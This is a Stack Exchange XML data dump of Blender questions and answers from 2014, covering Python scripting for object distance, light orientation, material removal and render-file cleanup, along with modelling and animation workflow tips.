  <row Id="7143" PostTypeId="2" ParentId="7129" CreationDate="2014-02-18T21:41:02.430" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can Blender be used to simulate the transmission of sound waves&#xA;  through a medium (most likely air)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, blender is designed to create images and animations (including soft and rigid body physics) which may include sounds, having that said blender copes with light not with audio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only support for audio (besides playback) I'm aware is to bake the amplitude (volume) of a distinct frequency range to an f-curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These f-curves could be used to animate an object in an animation like the vibrations of strings, or to visualize sounds like a spectrum analyzer does (scaling boxes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=aHSBdEQSBOU&quot; rel=&quot;nofollow&quot;&gt;Tutorial here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO The best would be to play around with these possibities and evaluate the options provided and in case blender is still a candidate (for your project) too ask a more specific question.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-18T21:41:02.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7144" PostTypeId="1" AcceptedAnswerId="7146" CreationDate="2014-02-18T21:47:16.193" Score="6" ViewCount="9049" Body="&lt;p&gt;So far I could only find the method to get the current position of the objects. I think there is a method that returns the distance between them.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="12" LastEditDate="2014-02-18T22:34:47.683" LastActivityDate="2014-06-07T18:10:52.400" Title="How to get the distance between two objects in the game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7145" PostTypeId="2" ParentId="7129" CreationDate="2014-02-18T21:47:34.653" Score="2" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. Unfortunately this is not possible currently, and as far as I know there are no plans to add this in the near future.&lt;/p&gt;&#xA;&lt;p&gt;However, in addition to baking to F-curves Blender does have &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:NeXyon/GSoC2011/3D_Audio/Speaker_Objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;speaker objects&lt;/a&gt;&lt;/em&gt; which provide some of the functionality (in a very limited form) I think you are looking for.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://openpstd.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This project&lt;/a&gt;, recently &lt;a href=&quot;http://www.blendernation.com/2014/09/11/openpstd-acoustic-simulator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;featured on blendernation&lt;/a&gt;, seems like it might be what you want.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-11T20:28:11.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7146" PostTypeId="2" ParentId="7144" CreationDate="2014-02-18T22:10:23.507" Score="1" Body="&lt;p&gt;I am not sure how you plan on telling blender which two objects. Assuming they are both selected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import sqrt&#xA;&#xA;def get_distance():&#xA;    &quot;&quot;&quot;&#xA;    return: float. Distance of the two objects&#xA;    Must select two objects&#xA;    &quot;&quot;&quot;&#xA;    l = []  # we store the loacation vector of each object&#xA;    for item in bpy.context.selected_objects:&#xA;        l.append(item.location)&#xA;&#xA;    distance = sqrt( (l[0][0] - l[1][0])**2 + (l[0][1] - l[1][1])**2 + (l[0][2] - l[1][2])**2)&#xA;    print(distance)  # print distance to console, DEBUG&#xA;    return distance&#xA;&#xA;get_distance()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-18T22:10:23.507" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7147" PostTypeId="2" ParentId="7144" CreationDate="2014-02-18T22:30:17.257" Score="5" Body="&lt;p&gt;That would be &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bge.types.KX_GameObject.html#bge.types.KX_GameObject.getDistanceTo&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getDistanceTo&lt;/code&gt;&lt;/a&gt;. It will calculate and return the distance between two objects &lt;em&gt;from&lt;/em&gt; their origins.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;# the object the sensor is connected to&#xA;owner = bge.logic.getCurrentController().owner&#xA;# the other object you want to get the distance to&#xA;obj2 = scene.objects['obj_name']&#xA;length = owner.getDistanceTo(obj2)&#xA;&#xA;print(length)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-02-18T22:36:17.580" LastActivityDate="2014-02-18T22:36:17.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7148" PostTypeId="1" AcceptedAnswerId="7159" CreationDate="2014-02-18T23:30:58.527" Score="1" ViewCount="689" Body="&lt;p&gt;I'm altering some animations from direct animations on the object to animations on the bone that influences the object.&#xA;I've appended the action to the .blend from the original .blend and applied it to the armature. However, I want the f-curves in the action to apply to one of the bones in the armature, not the armature itself. The only way I've found to move the data is to insert keyframes on the bone then copy the keyframes in the graph editor.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="696" LastEditDate="2014-02-19T04:20:47.513" LastActivityDate="2014-02-19T04:20:47.513" Title="Moving an f-curve from an object to a bone" Tags="&lt;animation&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7149" PostTypeId="2" ParentId="7139" CreationDate="2014-02-18T23:51:38.280" Score="3" Body="&lt;p&gt;As gandalf3 said, I think the best way for now is to delete the files automatically with some python script. Just make sure that the scene output goes to it's own directory, so you don't delete any other files. Run the script and render.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import glob&#xA;import bpy&#xA;&#xA;def delete_garbage_files(scene):&#xA;    out_path = bpy.path.abspath(scene.render.filepath)&#xA;    out_dir, _ = os.path.split(out_path)&#xA;&#xA;    # Remove all files of the currently selected output format.&#xA;    ext = scene.render.file_extension&#xA;    for f in glob.glob(os.path.join(out_dir, &quot;&quot;.join((&quot;*&quot;, ext)))):&#xA;        os.remove(f)&#xA;        print(&quot;Deleted: {}&quot;.format(f))&#xA;&#xA;    # Also delete the directory.&#xA;    try:&#xA;        os.rmdir(out_dir)&#xA;        print(&quot;Deleted: {}&quot;.format(out_dir))&#xA;    except OSError:&#xA;        print(&quot;Didn't delete directory {}, probably not empty&quot;.format(out_dir))&#xA;&#xA;# Post render handler, to delete the files after every rendered frame.&#xA;bpy.app.handlers.render_post.append(delete_garbage_files)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To delete the files after the whole render job finishes, you can use &lt;code&gt;render_complete&lt;/code&gt; instead of &lt;code&gt;render_post&lt;/code&gt; But if you cancel a render, the files won't be deleted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Complete render handler, to delete the files when the whole render job&#xA;# is finished.&#xA;bpy.app.handlers.render_complete.append(delete_garbage_files)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably the best solution is to use a &lt;code&gt;render_cancel&lt;/code&gt; and &lt;code&gt;render_complete&lt;/code&gt; handler. Then the files will only be deleted when the render is finished or canceled and not after every rendered frame.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Use both cancel and complete render handlers.&#xA;bpy.app.handlers.render_cancel.append(delete_garbage_files)&#xA;bpy.app.handlers.render_complete.append(delete_garbage_files)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to automatically delete the 'garbage' files the next time you open the file and render, you should have the name of the script end in '.py' and check the 'register' option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J7tM5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="668" LastEditorUserId="668" LastEditDate="2014-02-19T14:45:14.300" LastActivityDate="2014-02-19T14:45:14.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7150" PostTypeId="1" AcceptedAnswerId="7152" CreationDate="2014-02-19T00:18:11.497" Score="4" ViewCount="2417" Body="&lt;p&gt;I am currently trying to write a script that creates a light at every polygon oriented to each polygon. The script takes as an input the active mesh. It iterates over the polygons of the mesh and gets their global position. It then creates a light at that position. The problem is that I cannot get the light to be rotated so that they are perpendicular to the face, is the same as the normal. I tired using the function &lt;code&gt;polygon.normal&lt;/code&gt; but this does not give me a vector I can apply as a rotation. Instead &lt;code&gt;.normal&lt;/code&gt; gives me a local position vector. It is local in the sense that it sees the polygon center as &lt;code&gt;0, 0, 0&lt;/code&gt;, basically the &lt;code&gt;.normal&lt;/code&gt; function is no good for me in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what my script currently does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/83mcR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I want it to do:&#xA;I do not care about the yaw of the light only the orientations matters to me atm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wKCk7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;part of the script or &lt;a href=&quot;http://pastebin.com/Kpm5e7pG&quot; rel=&quot;nofollow noreferrer&quot;&gt;download here&lt;/a&gt; also included in the &lt;a href=&quot;http://www.pasteall.org/blend/26928&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&#xA;The code is well documented I think, let me know if anything is unclear. The function for creating the lights starts at line 47.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_light_at_face():&#xA;    &quot;&quot;&quot;&#xA;    layers: tuple. 20 booleans where exaclty one boolen is True&#xA;    return: None&#xA;    creates an area light the has the same orientation as the normal at the center of each face&#xA;    &quot;&quot;&quot;&#xA;    for poly in mesh.polygons:&#xA;        loc = get_global_poly_pos(poly)&#xA;        normal = get_normal(poly)  # this is probably needed somehow&#xA;&#xA;        # get the rotation needed for each polygon face, idk how&#xA;        # default values in RADIANS, actual values will be computed somehow&#xA;        rot_x = 0&#xA;        rot_y = 0&#xA;        rot_z = 0&#xA;        bpy.ops.object.lamp_add(type='AREA', view_align=False, location=(loc[0], loc[1], loc[2]), rotation=(rot_x, rot_y, rot_z), layers=get_layers())&#xA;        # scale lamp up a little fo we can see the area&#xA;        bpy.context.object.data.size = 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1363" LastEditDate="2014-02-20T00:03:30.467" LastActivityDate="2014-02-21T08:34:59.293" Title="Python - Orient light to polygon (face normal as direction)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7151" PostTypeId="2" ParentId="7144" CreationDate="2014-02-19T00:33:25.620" Score="15" Body="&lt;p&gt;You can use &lt;code&gt;mathutils.Vector&lt;/code&gt; locations&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;# the object the sensor is connected to&#xA;owner = bge.logic.getCurrentController().owner&#xA;# the other object you want to get the distance to&#xA;obj2 = scene.objects['obj_name']&#xA;length = (owner.worldPosition - obj2.worldPosition).length&#xA;&#xA;print(length)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows for easier manipulation, so for example if you only want to measure distance on a map (without taking altitude into account) you can do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;length = (owner.worldPosition.xy - obj2.worldPosition.xy).length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-19T00:33:25.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7152" PostTypeId="2" ParentId="7150" CreationDate="2014-02-19T01:51:28.057" Score="6" Body="&lt;p&gt;There's probably a cleaner solution, but for the time being, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import radians&#xA;from mathutils import Vector, Matrix&#xA;&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;&#xA;&#xA;def get_layers():&#xA;    &quot;&quot;&quot;&#xA;    return: tuple of 20 booleans. True if layer is active layer,False if not&#xA;    Allows the mesh to be created on the active layer. There is only 1 active layer&#xA;    &quot;&quot;&quot;&#xA;    active_layer = bpy.context.scene.active_layer&#xA;    layers = [False] * 20&#xA;    layers[active_layer] = True&#xA;    return tuple(layers)&#xA;&#xA;&#xA;def create_light_at_face():&#xA;    &quot;&quot;&quot;&#xA;    layers: tuple. 20 booleans where exaclty one boolen is True&#xA;    return: None&#xA;    creates an area light the has the same orientation as the normal at the center of each face&#xA;    &quot;&quot;&quot;&#xA;    mat_world = obj.matrix_world&#xA;    up = Vector((0,0,1))&#xA;&#xA;    for poly in mesh.polygons:&#xA;        co = mat_world * Vector(poly.center)&#xA;&#xA;        forward = poly.normal.copy()&#xA;        forward.rotate(mat_world)&#xA;        right = forward.cross(up).normalized() # Vector.length closer to 1.0&#xA;        up = right.cross(forward)&#xA;&#xA;        rot = Matrix((right, up, -forward)).transposed().normalized().to_4x4()&#xA;        mat = Matrix.Translation(co) * rot&#xA;&#xA;        bpy.ops.object.lamp_add(type='AREA', view_align=False, location=co, layers=get_layers())&#xA;        # scale lamp up a little fo we can see the area&#xA;        bpy.context.object.data.size = 3&#xA;        bpy.context.object.matrix_world = mat&#xA;&#xA;create_light_at_face()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried eulers, but did not work reliably (some lamps pointing inwards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As ideasman_42, suggested, &lt;code&gt;to_track_quat()&lt;/code&gt; can be used to do the job, too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        quat = poly.normal.to_track_quat('-Z', 'Y')&#xA;        loc = Matrix.Translation(poly.center)&#xA;        mat = mat_world * loc * quat.to_matrix().to_4x4()&#xA;        bpy.context.object.matrix_world = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not much code less, but more understandable I hope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another variant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        loc = mat_world * Vector(poly.center)&#xA;        # use loc as co for lamp_add operator here&#xA;        quat = poly.normal.to_track_quat('-Z', 'Y')&#xA;        quat.rotate(mat_world)&#xA;        bpy.context.object.matrix_world *= quat.to_matrix().to_4x4()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-20T00:01:14.427" LastActivityDate="2014-02-20T00:01:14.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7153" PostTypeId="1" AcceptedAnswerId="7154" CreationDate="2014-02-19T02:10:24.637" Score="44" ViewCount="81956" Body="&lt;p&gt;When proportional editing is enabled in edit mode, then if you select and drag a point, nearby points will also move with it. The effect has a certain radius. How can you set this radius?&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/editors/3dview/controls/proportional_editing.html?#proportional-editing&quot; rel=&quot;noreferrer&quot;&gt;the documentation I found&lt;/a&gt;, you can set it using the scroll wheel or &lt;kbd&gt;PgUp&lt;/kbd&gt;/&lt;kbd&gt;PgDn&lt;/kbd&gt;. I tried those, but &lt;kbd&gt;PgUp&lt;/kbd&gt;/&lt;kbd&gt;PgDn&lt;/kbd&gt; seem to do nothing, and the scroll wheel instead zooms. What's the correct way to do it?&lt;/p&gt;&#xA;" OwnerUserId="2513" LastEditorUserId="15924" LastEditDate="2020-10-21T15:07:34.760" LastActivityDate="2020-12-16T13:16:50.500" Title="Change radius for proportional editing" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;shortcut&gt;&lt;proportional-editing&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="7154" PostTypeId="2" ParentId="7153" CreationDate="2014-02-19T02:11:38.627" Score="45" Body="&lt;p&gt;You must press &lt;kbd&gt;PgUp&lt;/kbd&gt;&lt;kbd&gt;PgDown&lt;/kbd&gt; or use the scroll wheel &lt;em&gt;during&lt;/em&gt; a transform action such as &lt;em&gt;Translate&lt;/em&gt; (&lt;kbd&gt;G&lt;/kbd&gt;), &lt;em&gt;Rotate&lt;/em&gt; (&lt;kbd&gt;R&lt;/kbd&gt;), or &lt;em&gt;Scale&lt;/em&gt; (&lt;kbd&gt;S&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;p&gt;During a transform operation, you can see the proportional size visualized as as a circle around the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.90/editors/3dview/controls/pivot_point/index.html?#pivot-point&quot; rel=&quot;noreferrer&quot;&gt;Pivot point&lt;/a&gt;&lt;/em&gt; and you can see the actual proportional size value displayed in the &lt;em&gt;Header&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/grqQO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;em&gt;Redo panel&lt;/em&gt; located at the bottom of the &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the 3D view) or found by pressing &lt;kbd&gt;F6&lt;/kbd&gt;, there is a slider to adjust the Proportional size. &lt;strong&gt;Note that this only applies immediately &lt;em&gt;after&lt;/em&gt; a transform operation&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-21T15:07:37.370" LastActivityDate="2020-10-21T15:07:37.370" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="7155" PostTypeId="1" CreationDate="2014-02-19T02:51:20.270" Score="2" ViewCount="338" Body="&lt;p&gt;How do I recalculate normals for all objects in the scene? Normally, I select an object at a time, press Tab, press a to select all vertices/faces and press Ctrl-n. If I have 20+ objects in the scene, can do it in one hit combo?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="12" LastEditDate="2014-02-19T03:14:18.593" LastActivityDate="2014-02-19T03:14:18.593" Title="How do I recalculate normals for all objects in the scene?" Tags="&lt;normals&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2014-02-19T03:10:37.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="7156" PostTypeId="2" ParentId="5320" CreationDate="2014-02-19T03:15:17.283" Score="20" Body="&lt;p&gt;A recommended workflow here would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;K&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, then drag a perfect vertical line. (Optional for &lt;kbd&gt;C&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Menu: &lt;strong&gt;Select &gt; Select Loop Inner Region&lt;/strong&gt;, to select one side of the cut result.(&lt;strong&gt;&lt;kbd&gt;F6&lt;/kbd&gt; &gt; Select Bigger&lt;/strong&gt; to select the other side)&lt;/li&gt;&#xA;&lt;li&gt;Assign a second material for the selection. Done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As shown below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z4cPT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-19T03:15:17.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7159" PostTypeId="2" ParentId="7148" CreationDate="2014-02-19T04:17:30.577" Score="1" Body="&lt;p&gt;Yes you can. The workflow would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Append the action;&lt;/li&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;Dope Sheet&lt;/strong&gt; Editor (shortcut is &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;), then change Editor Mode to &lt;strong&gt;Action Editor&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Select the appended action from the dropdown list in the header, select keys you want, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; (or click the second last button at the right-end of the header);&lt;/li&gt;&#xA;&lt;li&gt;Select the target bone in &lt;strong&gt;Pose Mode&lt;/strong&gt;, add necessary channels by keying if there isn't any yet. Make sure the cursor is at the expected position, select channels you want to add action on, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; to paste (or click the last button at the right-end of the header). You can also do this step in Graph Editor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The action can be transformed between objects and bones, as long as they got same channel types. However, the result may be not always as expected as you really want. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One thing that you should be aware of is the consistency of the rotation mode. For example, if the action for the appended action uses rotation mode as XYZ Euler, and the bone uses Quaternion (WXYZ), then it will fail, either.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-19T04:17:30.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7160" PostTypeId="1" AcceptedAnswerId="7161" CreationDate="2014-02-19T04:36:09.787" Score="21" ViewCount="65091" Body="&lt;p&gt;Is there a quick way to delete all materials in the scene? I have a scene containing 20+ materials and all linked to objects. I'd like to remove all the materials from my blender file.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2014-02-19T22:45:49.510" LastActivityDate="2018-09-21T17:53:58.170" Title="Can I delete all materials of all objects in a scene quickly?" Tags="&lt;materials&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="7161" PostTypeId="2" ParentId="7160" CreationDate="2014-02-19T04:46:47.980" Score="36" Body="&lt;p&gt;Yes, you can. Easy way would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all objects, keep one active, remove all materials on it by pressing the &quot;-&quot; button on the right-hand side of material slot list;&lt;/li&gt;&#xA;&lt;li&gt;Then, from the drop-down list (below it), choose &lt;strong&gt;Copy Material to Others&lt;/strong&gt;. Save the file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r37h4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All unused material data will be removed after saving. You cannot see them anymore after reopening.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-19T04:59:16.017" LastActivityDate="2014-02-19T04:59:16.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7163" PostTypeId="1" AcceptedAnswerId="7173" CreationDate="2014-02-19T05:28:06.847" Score="4" ViewCount="1614" Body="&lt;p&gt;I have a .blend file found &lt;a href=&quot;https://www.dropbox.com/s/7a19k0pcjabczff/untitled1.blend&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and I'm asking if anyone could assist me to save the positions (x, y, width and height) of the bounding box of the moving object for every frame in the file attached, and save them in a text file. Each line will have the &lt;code&gt;x y width height&lt;/code&gt; of the bounding box in each frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if anyone could please advise me as its kind of urgent for me.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="1363" LastEditDate="2014-02-20T10:12:14.403" LastActivityDate="2014-02-20T10:12:14.403" Title="Save the bounding box position of an object in a text file" Tags="&lt;animation&gt;&lt;export&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7164" PostTypeId="2" ParentId="7160" CreationDate="2014-02-19T07:55:59.303" Score="16" Body="&lt;p&gt;There's an addon &lt;em&gt;Material Utils&lt;/em&gt;, which ships with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable it in the &lt;em&gt;User Preferences &gt; Addons&lt;/em&gt;, select all objects &lt;kbd&gt;A&lt;/kbd&gt;, hit &lt;kbd&gt;Q&lt;/kbd&gt; over 3D View and chose &lt;em&gt;Remove Material Slots&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MgkJ2.png&quot; alt=&quot;Material Utils Addon - Remove Material Slots&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It currently works on the active object only, despite the tooltip stating it would work for multiple objects. Here's a scripted solution for all selected, editable (non-linked) objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for ob in bpy.context.selected_editable_objects:&#xA;    ob.active_material_index = 0&#xA;    for i in range(len(ob.material_slots)):&#xA;        bpy.ops.object.material_slot_remove({'object': ob})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-19T08:26:37.767" LastActivityDate="2014-02-19T08:26:37.767" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7165" PostTypeId="1" AcceptedAnswerId="7166" CreationDate="2014-02-19T09:15:02.290" Score="1" ViewCount="347" Body="&lt;p&gt;I've followed this tutorial:&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFrames&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFrames&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a &lt;em&gt;Curve &gt; Path&lt;/em&gt;. I've then set frames under &lt;em&gt;Path animation&lt;/em&gt; to 600 frames and enabled &lt;em&gt;Follow&lt;/em&gt;. I've enabled duplication for the cube to frames and unchecked speed. Then I've parented my cube to the path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my path there should now be 600 copies of my cube/object. But there are only about a 100. Why is this happening? How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blend file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/26936&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/26936&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2496" LastEditorUserId="1363" LastEditDate="2014-04-26T18:38:59.987" LastActivityDate="2014-04-26T18:38:59.987" Title="DupliFrames creating too few objects" Tags="&lt;objects&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7166" PostTypeId="2" ParentId="7165" CreationDate="2014-02-19T09:17:15.020" Score="1" Body="&lt;p&gt;Ohh, found out.&#xA;Under the &quot;Duplication&quot;-&gt;&quot;Frame&quot; option in my object settings, I had &quot;End&quot; set to 100. Size it up and more objects were created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Apparently: If you set &quot;End&quot; to let's say 800, then 800 objects will be created no matter how many frames you've set up under &quot;Path animation&quot;. So if under &quot;Path animation&quot;(in your curve settings) you've set &quot;frames&quot; to 600, Blender will still create 800 objects. The 200 extra objects will be put in the same place as the 600-th - in other words, at the last position.&lt;/p&gt;&#xA;" OwnerUserId="2496" LastEditorUserId="2496" LastEditDate="2014-02-19T09:26:40.490" LastActivityDate="2014-02-19T09:26:40.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
